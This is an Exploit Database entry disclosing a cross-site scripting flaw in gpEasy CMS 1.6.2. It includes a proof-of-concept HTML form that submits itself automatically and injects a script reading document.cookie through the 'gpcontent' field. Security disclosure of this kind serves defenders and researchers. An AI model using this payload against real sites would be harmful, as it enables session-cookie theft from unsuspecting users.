gpEasy CMS 1.6.2 - 'editing_files.php' Cross-Site Scripting

EDB-ID:

34031




Platform:

PHP

Date:

2010-05-18


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

source: https://www.securityfocus.com/bid/40330/info

gpEasy CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to gpEasy CMS 1.6.3 are vulnerable 

<form method="POST" action="http://example.com/index.php/Home" name="myfrm">
<input type="hidden" name="cmd" value=&#039;save&#039;>
<input type="hidden" name="gpcontent" value=&#039;text"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.myfrm.submit();
</script>